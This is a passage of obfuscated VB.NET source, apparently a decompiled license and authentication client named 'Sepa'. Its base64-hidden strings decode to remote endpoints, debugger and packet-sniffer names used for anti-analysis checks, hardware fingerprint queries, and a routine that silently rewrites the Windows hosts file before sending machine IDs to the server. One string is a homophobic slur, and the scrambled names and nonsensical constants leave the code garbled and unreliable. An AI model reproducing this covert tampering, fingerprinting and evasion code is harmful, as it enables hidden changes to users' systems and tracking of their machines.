Byte(ÄÄÅ.Length) {} +Dim ÏÎÌ As New MemoryStream(ÄÄÅ) +Dim ÓÕÖ As New CryptoStream(ÏÎÌ, ÔÔÖ, CryptoStreamMode.Read) +ÓÕÖ.Read(ÔÓÒ, (-114 << 95), ÔÓÒ.Length) +Return (System.Text.Encoding.ASCII.GetString(ÔÓÒ)) +End Function +Private Function ÕÔÕ(ByVal ÔÖÖ As String, ByVal ÒÖÒ As String, ByVal ÎÎÎ As String) +Dim ÉÈÈ As String = ÎÎÎ +Dim ÅÀà As New RijndaelManaged +ÅÀÃ.Padding = PaddingMode.Zeros +ÅÀÃ.Mode = CipherMode.CBC +ÅÀÃ.KeySize = (974 Xor 718) +ÅÀÃ.BlockSize = (974 - 718) +Dim ÌÎÍ() As Byte : Dim ÅÅÃ() As Byte : Dim ÊÈÉ() As Byte : Dim ËÊÉ() As Byte +ÊÈÉ = System.Text.Encoding.ASCII.GetBytes(ÔÖÖ) +ËÊÉ = System.Text.Encoding.ASCII.GetBytes(ÒÖÒ) +Dim ÊÊË As ICryptoTransform = ÅÀÃ.CreateEncryptor(ÊÈÉ, ËÊÉ) : Dim ÊÈÊ As New MemoryStream() : Dim ÅÂÀ As New CryptoStream(ÊÈÊ, ÊÊË, CryptoStreamMode.Write) +ÅÅà = System.Text.Encoding.ASCII.GetBytes(ÉÈÈ) +ÅÂÀ.Write(ÅÅÃ, (173 >> -22), ÅÅÃ.Length) +ÅÂÀ.FlushFinalBlock() +ÌÎÍ = ÊÈÊ.ToArray() +Return (Convert.ToBase64String(ÌÎÍ)) +End Function +Private Function ÎÎÍ() +Try +Dim ÀÅ As String = Nothing +Dim ÅÅÅ As New ManagementObjectSearcher( _ +ÖÔÕ((99 - 12)), _ +ÖÔÕ((122 Xor 34))) +Dim ÉÉË As String = Nothing +Dim ÄÂÁ As String = Nothing +Dim ÈÉÉ As String = Nothing +Dim ÔÔÕ As String = Nothing +For Each ÎÎÌ As ManagementObject In ÅÅÅ.Get() +Try : ÉÉË = ÎÎÌ(ÖÔÕ((-19 + 108))).ToString : Catch : End Try +Try : ÄÂÁ = ÎÎÌ(ÖÔÕ((90 Or 82))).ToString : Catch : End Try +Try : ÈÉÉ = ÎÎÌ(ÖÔÕ((89 Or 3))).ToString : Catch : End Try +Try : ÈÉÉ = ÎÎÌ(ÖÔÕ((986 - 895))).ToString : Catch : End Try +Try : ÔÔÕ = ÎÎÌ(ÖÔÕ((91 Xor 7))).ToString : Catch : End Try +ÀÅ = ÉÉË & ÄÂÁ & ÈÉÉ & ÔÔÕ +Next +Dim ÏÍÏ As String = Nothing +Dim ÃÁÀ As String = Nothing +Dim ÌÍÎ As String = Nothing +Dim ÈËÉ As String = Nothing +Dim ÄÅÄ As New ManagementObjectSearcher( _ +ÖÔÕ((703 >> 419)), _ +ÖÔÕ((-282 - -375))) +For Each ÎÎÌ As ManagementObject In ÄÅÄ.Get() +Try : ÏÍÏ = ÎÎÌ(ÖÔÕ((849 + -755))).ToString : Catch : End Try +Try : ÃÁÀ = ÎÎÌ(ÖÔÕ((89 + 3))).ToString : Catch : End Try +Try : ÌÍÎ = ÎÎÌ(ÖÔÕ((91 Or 7))).ToString : Catch : End Try +Try : ÈËÉ = ÎÎÌ(ÖÔÕ((6 << -316))).ToString : Catch : End Try +ÀÅ = ÀÅ & ÏÍÏ & ÃÁÀ & ÌÍÎ & ÈËÉ +Next +Try +Dim ÏÎÏ As Microsoft.Win32.RegistryKey : ÏÎÏ = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(ÖÔÕ((42 Xor 75)), False) +Dim ÎÏÍ As Microsoft.Win32.RegistryKey : ÎÏÍ = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(ÖÔÕ((91 + 7)), False) +Dim ÀÃÄ As Object : ÀÃÄ = Replace(ÏÎÏ.GetValue(ÖÔÕ((1593 >> -220))), ÖÔÕ((6425 >> 7974)), ÖÔÕ((-109 - -166))) +Dim ÓÓÓ As Object : ÓÓÓ = Replace(ÎÏÍ.GetValue(ÖÔÕ((266 + -165))), ÖÔÕ((8108 Xor 8136)), ÖÔÕ((-165 Xor -158))) +Dim ÂÃÄ As String = (ÀÃÄ.ToString & ÓÓÓ.ToString) +ÀÅ = ÀÅ & ÂÃÄ +Catch : End Try +If ÀÅ = Nothing Then +MsgBox(ÖÔÕ((-255 Xor -153))) +End +End If +Return ÍÌÎ(ÀÅÂ) +Catch +MsgBox(ÖÔÕ((-87 + 189))) +End +End Try +End Function +Private Function ÉËÉ(ByVal ÀÄÅ As String) +ÊÉÈ() +Dim ÉÉÊ = ÖÔÕ((390 Xor 447)) +Try +Dim ÒÕÓ As WebClient = New WebClient() +ÒÕÓ.Proxy = Nothing +Dim ÒÒÓ As Stream = ÒÕÓ.OpenRead(ÀÄÅ) +Dim ÅÂà As StreamReader = New StreamReader(ÒÒÓ) +ÉÉÊ = ÅÂÃ.ReadToEnd +ÒÒÓ.Close() +ÅÂÃ.Close() +Return ÉÉÊ +Catch ÓÖÒ As Exception +Return ÉÉÊ +End Try +End Function +Private Sub ÊÉÈ() +Try +Dim ÄÁÄ As Boolean = False +Dim ÃÁ As String = Environment.GetFolderPath(Environment.SpecialFolder.System) & ÖÔÕ((831 >> 547)) & ÖÔÕ((717 + -613)) & ÖÔÕ((319 + -216)) & ÖÔÕ((456 Xor 417)) & ÖÔÕ((1296 - 1193)) & ÖÔÕ((192 - 86)) +Dim ÓÔÔ As New StreamReader(ÃÁÂ) +Dim ÓÖÕ As String = ÓÔÔ.ReadToEnd +ÓÔÔ.Close() +Dim ÎÌÏ() As String = {ÖÔÕ((-41 - -148)), ÖÔÕ((217 >> 161)), ÖÔÕ((-345 Xor -310)), ÖÔÕ((443 >> -126))} +Dim ÕÕÔ() As String = {ÖÔÕ((-178 Xor -223)), ÖÔÕ((213 Xor 165)), ÖÔÕ((-122 Xor -9)), ÖÔÕ((-396 + 510))} +For Each ÔÖÒ As String In ÎÌÏ +If (ÓÖÕ.Contains(ÔÖÒ)) Then +ÓÖÕ = ÓÖÕ.Replace(ÔÖÒ, ÖÔÕ((-80 Xor -61))) +ÄÁÄ = True +End If +Next +For Each ÔÓÓ As String In ÕÕÔ +If (ÓÖÕ.Contains(ÔÓÓ)) Then +ÓÖÕ = ÓÖÕ.Replace(ÔÓÓ, ÖÔÕ((199 - 83))) +ÄÁÄ = True +End If +Next +If ÄÁÄ Then +Dim ÍÌÌ As New StreamWriter(ÃÁÂ) +ÍÌÌ.Write(ÓÖÕ) +ÍÌÌ.Close() +ÒÒÒ() +End If +Catch ÓÖÒ As Exception : MsgBox(ÓÖÒ.Message) : End Try +End Sub +Private Sub ÒÒÒ() +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = ÂÃÄ & ÖÔÕ((2597 >> 4009)) & ApplicationKey & ÖÔÕ((2634 >> 5897)) & admin +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((3178 >> -2071)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((42 + 75)))) +Catch ÓÖÒ As Exception +End +End Try +End Sub +Function ÔÒÖ(ByVal ÏÌÎ As Object, ByVal ÌÌÎ As DownloadStringCompletedEventArgs) +If ÌÌÎ.Cancelled = False AndAlso ÌÌÎ.Error Is Nothing Then +Dim ÀÅÁ As String = CStr(ÌÌÎ.Result) +Return ÀÅÁ +End If +Return Nothing +End Function +Private Function ËÈÈ(ByVal ÎÍÌ As Integer, ByVal ÓÕÒ As Boolean) As String +Dim ÄàAs New Random() +Dim ÊÊÉ As String = ÖÔÕ((371 + -253)) +Dim ÈÈÈ As New StringBuilder +For ÓÓÕ As Integer = (-4 << 191) To ÎÍÌ - (-354 Xor -353) +Dim ÖÓÒ As Integer = ÄÃÂ.Next((102 >> -236), ÊÊÉ.Length) +ÈÈÈ.Append(ÊÊÉ.Substring(ÖÓÒ, (210 >> -25))) +Next +Return ÈÈÈ.ToString() +End Function +Private Function ÍÌÎ(ByVal ÊÊÈ As String) As String +Dim ËÈÉ As New SHA1CryptoServiceProvider +Dim ÖÔÒ() As Byte = System.Text.Encoding.ASCII.GetBytes(ÊÊÈ) +ÖÔÒ = ËÈÉ.ComputeHash(ÖÔÒ) +Dim ÒÓÓ As String = ÖÔÕ((57 << 736)) +For Each ÂÀÅ As Byte In ÖÔÒ +ÒÓÓ += ÂÀÅ.ToString(ÖÔÕ((-49 - -168))) +Next +Return ÒÓÓ +End Function +Private Function ÂÄÄ(ByVal ÄÀÀ) +Dim ÔÒÓ As String = ÄÀÀ : Dim ÒÒÓ As String = ÔÒÓ.Substring((9 >> 36), ÔÒÓ.Length - (-212 Xor -178)) : Dim ÊÈÉ As String = ÔÒÓ.Substring(ÒÒÓ.Length, (-414 + 446)) : Dim random As String = ÔÒÓ.Substring(ÒÒÓ.Length + ÊÈÉ.Length, (8 << 1091)) +Dim ÖÒÕ As String() = New String() {ÒÒÓ, ÊÈÉ, random} +Return ÖÒÕ +End Function +Private Function ÖÖÖ(ByVal ÄÀÀ As String, ByVal ÊËË As String) +Dim ÂÃÅ As String : Dim ÏÎÍ As String : Dim ÃÀÁ As New Random() : ÂÃÄ = ÎÎÍ() +ÂÃÅ = Now : Dim Random As String = ÃÀÁ.Next((12872 >> -1849), (-6286 Xor -7014)) : ÏÎÍ = Random + ÂÃÅ + Random +ÂÃÅ = ÂÃÅ.Replace(ÖÔÕ((-22 + 142)), ÖÔÕ((57 >> 736))) : ÂÃÅ = ÂÃÅ.Replace(ÖÔÕ((-68 - -189)), ÖÔÕ((-3208 + 3265))) : ÂÃÅ = ÂÃÅ.Replace(ÖÔÕ((-114 Xor -12)), ÖÔÕ((1850 >> -1531))) +ÏÎÍ = ÏÎÍ.Replace(ÖÔÕ((483 >> -62)), ÖÔÕ((3412 - 3355))) : ÏÎÍ = ÏÎÍ.Replace(ÖÔÕ((211 - 90)), ÖÔÕ((3563 - 3506))) : ÏÎÍ = ÏÎÍ.Replace(ÖÔÕ((122 Or 34)), ÖÔÕ((7301 >> 4935))) +Dim ÊÈÉ As String = ËÈÈ((515 >> 100), False) +Dim ÅÀÀ As String = ÂÃÅ & ÖÔÕ((81 + -76)) & admin & ÖÔÕ((750 >> -57)) & ÏÎÍ & ÖÔÕ((5351 >> 5578)) & ApplicationKey & ÖÔÕ((2767 >> 329)) & ÊËË & ÖÔÕ((5505 >> -8246)) +Dim ÒÒÓ As String = ÄÀÀ : Dim ÎÍÍ As String = ËÈÈ((40 - -88), False) : Dim ÌÏÎ As String = ÎÍÍ.Substring((-7960 Xor -8024)) +ÒÒÓ = ÕÔÕ(ÊÈÉ, ËÊÉ, ÅÀÀ & ÒÒÓ) & ÊÈÉ & ÌÏÎ +Return ÒÒÓ.Replace(ÖÔÕ((184 Xor 195)), ÖÔÕ((996 >> -1245))) +End Function +Private Function ÕÔÖ(ByVal ÍÎÍ) +Dim ÖÒÕ As Array = ÂÄÄ(ÍÎÍ) : Dim ÊÈÉ As String = ÖÒÕ((574 >> 297)) : Dim ÒÒÓ As String = ÖÒÕ((91 >> 7)) : Dim ÔÓÕ As String = ÕÔÕ(ÊÈÉ, ËÊÉ, ÒÒÓ) +Return ÔÓÕ +End Function +Private Function ÏÍÌ(ByVal ÄÀÀ) +Dim ÖÒÕ As Array = ÂÄÄ(ÄÀÀ) : Dim ÊÈÉ As String = ÖÒÕ((-243 Xor -244)) : Dim ÒÒÓ As String = ÖÒÕ((266 >> -165)) : Dim ÔÓÕ As String = ÁÄÄ(ÊÈÉ, ËÊÉ, ÒÒÓ) +Return ÔÓÕ +End Function +Private Sub ÃÀÄ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles CheckBox1.CheckedChanged +Dim ÃÂÄ As RegistryKey +Try +ÃÂÄ = Registry.LocalMachine.OpenSubKey(ÖÔÕ((-235 Xor -152)), True) +If CheckBox1.Checked = True Then +ÃÂÄ.SetValue(ÖÔÕ((-185 - -311)), True) +Else +ÃÂÄ.SetValue(ÖÔÕ((490 + -364)), False) +End If +ÃÂÄ.Close() +Catch ÓÖÒ As Exception +ÃÂÄ = Registry.LocalMachine.OpenSubKey(ÖÔÕ((-81 - -208)), True) +ÃÂÄ.CreateSubKey(ÖÔÕ((3666 + -3538))) +If CheckBox1.Checked = True Then +ÃÂÄ.SetValue(ÖÔÕ((-1011 + 1137)), True) +Else +ÃÂÄ.SetValue(ÖÔÕ((1065 + -939)), False) +End If +ÃÂÄ.Close() +End Try +End Sub +Private Function ÂÅÃ() +Try +Dim ÃÂÄ As RegistryKey : Dim ÕÓÒ As Boolean +ÃÂÄ = Registry.LocalMachine.OpenSubKey(ÖÔÕ((-242 - -367)), True) +ÕÓÒ = ÃÂÄ.GetValue(ÖÔÕ((252 >> -1599))) +If ÕÓÒ = True Then Return True Else : Return False +ÃÂÄ.Close() +Catch ÓÖÒ As Exception +Return False +End Try +End Function +Private Sub ÂÂÃ() +Dim ÃÂÄ As RegistryKey +Try +ÃÂÄ = Registry.LocalMachine.OpenSubKey(ÖÔÕ((-2394 - -2519)), True) +ÃÂÄ.SetValue(ÖÔÕ((291 - 162)), ÕÔÕ(ÖÔÕ((189 - 59)), ÖÔÕ((330 - 199)), TextBox1.Text & ÖÔÕ((6031 >> -214)) & TextBox2.Text).ToString) +ÃÂÄ.Close() +Catch ÓÖÒ As Exception +ÃÂÄ = Registry.LocalMachine.OpenSubKey(ÖÔÕ((313 + -186)), True) +ÃÂÄ.CreateSubKey(ÖÔÕ((4097 >> 4165))) +ÃÂÄ = Registry.LocalMachine.OpenSubKey(ÖÔÕ((2002 >> 2212)), True) +ÃÂÄ.SetValue(ÖÔÕ((16585 >> 10247)), ÕÔÕ(ÖÔÕ((-726 + 856)), ÖÔÕ((408 - 277)), TextBox1.Text & ÖÔÕ((5245 >> -4726)) & TextBox2.Text).ToString) +ÃÂÄ.Close() +End Try +End Sub +Private Sub ÕÓÖ() +Try +Dim ÂÀ As String : Dim ÕÖÓ As String() +Dim ÃÂÄ As RegistryKey +ÃÂÄ = Registry.LocalMachine.OpenSubKey(ÖÔÕ((4028 >> -379)), True) +ÂÀ = ÁÄÄ(ÖÔÕ((-1554 + 1684)), ÖÔÕ((259 Xor 384)), ÃÂÄ.GetValue(ÖÔÕ((-7766 - -7895)))) +ÕÖÓ = ÂÀÂ.Split(ÖÔÕ((653 >> -8697))) +Dim ÁÂÅ As String = ÕÖÓ((6 >> -25)) +Dim ÖÖÒ As String = ÕÖÓ((-243 - -244)) +TextBox1.Text = ÁÂÅ +TextBox2.Text = ÖÖÒ +ÃÂÄ.Close() +Catch ÓÖÒ As Exception +End Try +End Sub +Private Sub ÂÁÁ() +ÀÃÅ = ÀÃÅ + (331 >> -760) +If ÕÖÕ = True And ÀÃÅ >= (248 >> -252) Then +ÂÂÅ() +ÀÃÅ = (98 >> -71) +End If +If Antis = True Then : ÉÈÉ() : End If +If Not My.Computer.Network.IsAvailable Then End +If Not ToolStripProgressBar1.Current = (33 >> -174) Then : ToolStripProgressBar1.Current = ToolStripProgressBar1.Current - (273 >> 200) : Else : CloseTime.Stop() : MsgBox(ÖÔÕ((-213 Xor -81)), MsgBoxStyle.Exclamation, ÖÔÕ((-184 Xor -51))) : Application.Exit() : End If +End Sub +Private Sub ÉÊÉ(ByVal ËÈÊ As Object, ByVal ÌÎÏ As Object) +Dim ÅÃÅ As Integer +Dim ÖÖÒ As String = ËÈÊ.text +If (ÖÖÒ.Length > (313 >> -186)) Then ÅÃÅ += (83 >> 678) +If System.Text.RegularExpressions.Regex.IsMatch(ÖÖÒ, ÖÔÕ((189 Xor 59))) And System.Text.RegularExpressions.Regex.IsMatch(ÖÖÒ, ÖÔÕ((-216 Xor -81))) Then +ÅÃÅ += (434 >> -88) +End If +If System.Text.RegularExpressions.Regex.IsMatch(ÖÖÒ, ÖÔÕ((-45 + 181))) Then +ÅÃÅ += (383 >> 1224) +End If +If System.Text.RegularExpressions.Regex.IsMatch(ÖÖÒ, "[!,@,#,$,%,^,&,*,?,_,~,-,/ÖÔÕ((3690 >> -3162))]") Then +ÅÃÅ += (286 >> -472) +End If +If (ÖÖÒ.Length >= (349 >> -699)) Then ÅÃÅ += (694 >> 41) +If (ÖÖÒ.Length > (126 >> 739)) Then ÅÃÅ += (152 >> 455) +ÌÎÏ.current = ÅÃÅ / (-3890 Xor -3896) * (6427 >> 13414) +End Sub +Private Sub ÀÅÀ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button11.Click +ÌÌÍ() +End Sub +Private Sub ËÉÉ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button14.Click +ËÊÈ() +End Sub +Private Sub ÒÓÔ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button10.Click +ÔÕÒ() +End Sub +Private Sub ÃÀÀ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button13.Click +If TextBox16.Text = ÖÔÕ((1201 >> -8700)) And TextBox17.Text = ÖÔÕ((-9780 + 9855)) And TextBox18.Text = ÖÔÕ((19301 >> 26344)) And TextBox18.Text = ÖÔÕ((19218 >> -22552)) Then +ÍÎÎ(TextBox12.Text, TextBox13.Text, TextBox14.Text, TextBox5.Text) +End If +End Sub +Private Sub ÎÎÏ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button15.Click +ÌÌÍ() +End Sub +Private Function ÉÈÊ(ByVal ÍÍÎ As String) As Boolean +Dim ÕÓÔ As String = ÖÔÕ((69 << -607)) +Dim ÃÄÄ As Match = Regex.Match(ÍÍÎ, ÕÓÔ) +If ÃÄÄ.Success Then +ÉÈÊ = True +Else +ÉÈÊ = False +End If +End Function +Private Sub ÍÍÌ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles cButton.Click +End +End Sub +Private Sub ÎÌÎ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles mButton.Click +Me.WindowState = FormWindowState.Minimized +End Sub +Private Sub ÔÕÔ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles FutureButton1.Click +ÖÔÖ() +End Sub +Private Sub ÈÈÉ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles FutureButton3.Click +ÌÌÍ() +End Sub +Private Sub ÖÒÖ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles FutureButton2.Click +Try : Clipboard.SetText(hwid_box.Text) : Catch : End Try +End Sub +End Class +Module ÈËÊ +Public ÖÔÕ As String() = ÈËÊ(New String() _ +{"aHR0cDovL20wMGRsZS5jb20vem9vYi9zZXBhLnBocA==","aHR0cDovL2xhdXJhd2lsbGVtcy5mci96b29iL3NlcGEucGhw","YjN5NjdEeilUbX1rWWFwSD18MWs2XzZCZGxyYVJPYkE=", _ +"MS4w","U2VwYSBBdXRo","fA==", _ +"P2RhdGE9","bG9naW4=","QXV0aG9yaXNlZA==", _ +"V2VsY29tZSA=","Lg==","U3VjY2Vzcw==", _ +"RXJyb3I=","cmVnaXN0ZXI=","QWNjb3VudCBDcmVhdGVk", _ +"QWNjb3VudCBVcGRhdGVk","RmlkZGxlciAtIEhUVFA=","VGhlIFdoaXJlc2hhcms=", _ +"T2xseURiZw==","bmV3cw==","RXJyb3IgZmV0Y2hpbmcgZGF0YQ==", _ +"ZXhwaXJl","TGFzdElw","UmVnaXN0cmF0aW9uRGF0ZQ==", _ +"TGFzdExvZ2lu","YXZhaWxhYmxl","QXZhaWxhYmxl", _ +"VXNlcm5hbWUgYXZhaWxhYmxl","c2VyaWFs","dmFsaWQ=", _ +"VHJpYWw=","cGluZw==","SSdtIGFsaXZl", _ +"Y2hlY2s=","SW4gRGF0YWJhc2U=","RXh0ZW5kIExpY2Vuc2U=", _ +"UmVnaXN0ZXI=","YWRtaW4=","T2s=", _ +"VHJ1ZQ==","RXJyb3IgY2hlY2tpbmcgYWRtaW4=","YXBwbGljYXRpb24=", _ +"UmVnaXN0ZXJlZA==","dXBkYXRl","Tm8gVXBkYXRl", _ +"Tm8=","U3RheUFsaXZl","TGl2ZQ==", _ +"VW5hYmxlIHRvIGZpbmQgYSBsaW5r","dXNlci1hZ2VudA==","TW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMjsgLk5FVCBDTFIgMS4wLjM3MDU7KQ==", _ +"QXBwbGljYXRpb25zfCouZXhl","RG93bmxvYWRpbmc=","RXJyb3Igb2NjdXJlZCB3aGlsZSBkb3dubG9hZGluZw==", _ +"RmlsZSBkb3dubG9hZGVkLiBZb3UgY2FuIG5vdyBsb2dpbiBmcm9tIGl0Lg==","Y2hhbmdlcGFzcw==","UGFzc3dvcmQgY2hhbmdlZA==", _ +"","VmVyc2lvbjog","VGhlcmUncyBhbiBlcnJvciBjaGVja2luZyB0aGUgYWRtaW4ga2V5", _ +"VGhlcmUncyBhbiBlcnJvciByZXRyaWV2aW5nIHlvdXIgSFdJRA==","U2VjdXJpdHkgY2hlY2sgZXJyb3I=","Q2hlY2tpbmcgQ29ubmVjdGlvbg==", _ +"Q29ubmVjdGlvbjogT0s=","Q29ubmVjdGlvbjogVW5yZWFjaGFibGU=","Q29ubmVjdGlvbiBFcnJvcg==", _ +"UmV0cmlldmluZyBTZXJ2ZXIgSW5mbw==","Q2hlY2tpbmcgU2VwYSdzIExpY2Vuc2U=","Q2hlY2tpbmcgQXBwbGljYXRpb24ncyBMaWNlbnNl", _ +"QXBwbGljYXRpb24gbm90IHJlZ2lzdGVyZWQ=","TG9va2luZyBGb3IgVXBkYXRlcw==","VXBkYXRlIEZvdW5k", _ +"TG9nZ2luZyBpbg==","RG9uZQ==","Q2FuJ3QgYmUgZW1wdHk=", _ +"R29vZA==","IDo6IENoYW5nZSBQYXNzd29yZA==","IDo6IExvZ2lu", _ +"IDo6IExvYWRpbmc=","IDo6IE1hbmFnZSBBY2NvdW50","IDo6IFJlZ2lzdGVyIC8gRXh0ZW5kIEFjY291bnQ=", _ +"IDo6IExpY2Vuc2UgVmFsaWRhdGlvbg==","IDo6IFVwZGF0ZSBGb3VuZA==","IDo6IEhXSUQgR2VuZXJhdG9y", _ +"SW52YWxpZA==","VG9vIFNob3J0","RGlmZmVyZW50", _ +"cm9vdFxDSU1WMg==","U0VMRUNUICogRlJPTSBXaW4zMl9CSU9T","QnVpbGROdW1iZXI=", _ +"U2VyaWFsTnVtYmVy","Q2FwdGlvbg==","SW5zdGFsbERhdGU=", _ +"U0VMRUNUICogRlJPTSBXaW4zMl9Nb3RoZXJib2FyZERldmljZQ==","RGV2aWNlSUQ=","UE5QRGV2aWNlSUQ=", _ +"U3lzdGVtTmFtZQ==","U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb24=","U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBoeQ==", _ +"UHJvZHVjdElk","LQ==","TWFjaGluZUdVSUQ=", _ +"RXJyb3IgcmV0cmlldmluZyB5b3VyIEhXSUQu","XA==","ZHJpdmVycw==", _ +"ZXRj","aG9zdHM=","bGF1cmF3aWxsZW1z", _ +"bTAwZGxl","ODIuMTY1LjEwOS4xNzQ=","ODIuMTY1LjU3LjI0", _ +"NjkuMTcyLjIyOS4xMzk=","a29uby1rdXNvdXRhcmUuY29t","dGhlZGVmYWNlZA==", _ +"ZGVmYWNlZA==","eW91Z290Y2F1Z2h0","ZmluZHNvbWV0aGluZ2JldHRlcmZhZ2dvdA==", _ +"cmVwb3J0","QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXo9","eDI=", _ +"Og==","Lw==","IA==", _ +"Kw==","JTJC","U29mdHdhcmVcU2VwYQ==", _ +"Q2hlY2tib3g=","U09GVFdBUkU=","U2VwYQ==", _ +"Q3JlZGVudGlhbHM=","TVFBOUdGSEZXOVNCN1FHT1hMVlBGRjFBTjZGN1kxMDk=","WExWUEZGMUFONkY3WTEwOU1RQTlHRkhGVzlTQjdRR08=", _ +"U2Vzc2lvbiBFeHBpcmVk","VGltZSdzIHVw","W2Etel0=", _ +"W0EtWl0=","XGQr","WyEsQCwjLCQsJSxeLCYsKiw/LF8sfiwtLC8iIl0=", _ +"XlthLXpBLVpdW1x3XC4tXSpbYS16QS1aMC05XUBbYS16QS1aMC05XVtcd1wuLV0qW2EtekEtWjAtOV1cLlthLXpBLVpdW2EtekEtWlwuXSpbYS16QS1aXSQ="}) +Private Function ÈËÊ(ByVal ÖÔÕ As String()) As String() +Dim ËÊÈ As New System.Text.UTF8Encoding +Dim ÊÊÈ As New System.Collections.Generic.List(Of String) +For ÅÅÄ As Integer = (107 >> 206) To ÖÔÕ.Length - (319 >> -216) +ÊÊÈ.Add(ËÊÈ.GetString(Convert.FromBase64String(ÖÔÕ(ÅÅÄ)))) +Next +Return ÊÊÈ.ToArray +End Function +End Module + _ +Partial Class Sepa +Inherits System.Windows.Forms.Form + _ +Protected Overrides Sub Dispose(ByVal disposing As Boolean) +Try +If disposing AndAlso components IsNot Nothing Then +components.Dispose() +End If +Finally +MyBase.Dispose(disposing) +End Try +End Sub +Private components As System.ComponentModel.IContainer + _ +Private Sub InitializeComponent() + Me.hwid_pan = New Crypt_Flow.GroupBox() + Me.FutureButton3 = New Crypt_Flow.FutureButton() + Me.FutureButton2 = New Crypt_Flow.FutureButton() + Me.hwid_box = New System.Windows.Forms.TextBox() + Me.cButton = New Crypt_Flow.FutureButton() + Me.mButton = New Crypt_Flow.FutureButton() + Me.account_pan = New Crypt_Flow.GroupBox() + Me.FutureButton1 = New Crypt_Flow.FutureButton() + Me.Button14 = New Crypt_Flow.FutureButton() + Me.Button2 = New Crypt_Flow.FutureButton() + Me.Button10 = New Crypt_Flow.FutureButton() + Me.changepass_pan = New Crypt_Flow.GroupBox() + Me.Button15 = New Crypt_Flow.FutureButton() + Me.Button13 = New Crypt_Flow.FutureButton() + Me.ProgressBar4 = New Crypt_Flow.FutureProgressBar() + Me.TextBox19 = New System.Windows.Forms.TextBox() + Me.TextBox18 = New System.Windows.Forms.TextBox() + Me.TextBox17 = New System.Windows.Forms.TextBox() + Me.TextBox16 = New System.Windows.Forms.TextBox() + Me.TextBox15 = New System.Windows.Forms.TextBox() + Me.Label12 = New System.Windows.Forms.Label() + Me.TextBox14 = New System.Windows.Forms.TextBox() + Me.Label11 = New System.Windows.Forms.Label() + Me.Label10 = New System.Windows.Forms.Label() + Me.Label8 = New System.Windows.Forms.Label() + Me.TextBox13 = New System.Windows.Forms.TextBox() + Me.Label9 = New System.Windows.Forms.Label() + Me.TextBox12 = New System.Windows.Forms.TextBox() + Me.License_pan = New Crypt_Flow.GroupBox() + Me.Button4 = New Crypt_Flow.FutureButton() + Me.Button6 = New Crypt_Flow.FutureButton() + Me.TextBox3 = New System.Windows.Forms.TextBox() + Me.Label3 = New System.Windows.Forms.Label() + Me.Register_pan = New Crypt_Flow.GroupBox() + Me.TextBox20 = New System.Windows.Forms.TextBox() + Me.Button3 = New Crypt_Flow.FutureButton() + Me.Button9 = New Crypt_Flow.FutureButton() + Me.Button5 = New Crypt_Flow.FutureButton() + Me.ProgressBar1 = New Crypt_Flow.FutureProgressBar() + Me.Label13 = New System.Windows.Forms.Label() + Me.TextBox21 = New System.Windows.Forms.TextBox() + Me.TextBox11 = New System.Windows.Forms.TextBox() + Me.TextBox10 = New System.Windows.Forms.TextBox() + Me.Label4 = New System.Windows.Forms.Label() + Me.Label5 = New System.Windows.Forms.Label() + Me.Label6 = New System.Windows.Forms.Label() + Me.TextBox5 = New System.Windows.Forms.TextBox() + Me.TextBox4 = New System.Windows.Forms.TextBox() + Me.Loading_pan = New Crypt_Flow.GroupBox() + Me.ProgressBar2 = New Crypt_Flow.FutureProgressBar() + Me.TextBox6 = New System.Windows.Forms.TextBox() + Me.Label7 = New System.Windows.Forms.Label() + Me.Update_pan = New Crypt_Flow.GroupBox() + Me.ProgressBar3 = New Crypt_Flow.FutureProgressBar() + Me.Button8 = New Crypt_Flow.FutureButton() + Me.Button7 = New Crypt_Flow.FutureButton() + Me.Label16 = New System.Windows.Forms.Label() + Me.Label15 = New System.Windows.Forms.Label() + Me.TextBox8 = New System.Windows.Forms.TextBox() + Me.TextBox7 = New System.Windows.Forms.TextBox() + Me.Login_pan = New Crypt_Flow.GroupBox() + Me.Button11 = New Crypt_Flow.FutureButton() + Me.Button1 = New Crypt_Flow.FutureButton() + Me.ToolStripProgressBar1 = New Crypt_Flow.FutureProgressBar() + Me.ToolStripStatusLabel3 = New System.Windows.Forms.Label() + Me.TextBox9 = New System.Windows.Forms.TextBox() + Me.CheckBox1 = New System.Windows.Forms.CheckBox() + Me.Label2 = New System.Windows.Forms.Label() + Me.Label1 = New System.Windows.Forms.Label() + Me.TextBox2 = New System.Windows.Forms.TextBox() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.FutureTheme1 = New Crypt_Flow.FutureTheme() + Me.hwid_pan.SuspendLayout() + Me.account_pan.SuspendLayout() + Me.changepass_pan.SuspendLayout() + Me.License_pan.SuspendLayout() + Me.Register_pan.SuspendLayout() + Me.Loading_pan.SuspendLayout() + Me.Update_pan.SuspendLayout() + Me.Login_pan.SuspendLayout() + Me.SuspendLayout() + Me.hwid_pan.Border1 = System.Drawing.Color.FromArgb(CType(CType((-221 Xor -135), Byte), Integer), CType(CType((70 >> -228), Byte), Integer), CType(CType((18 >> 235), Byte), Integer), CType(CType((124 >> 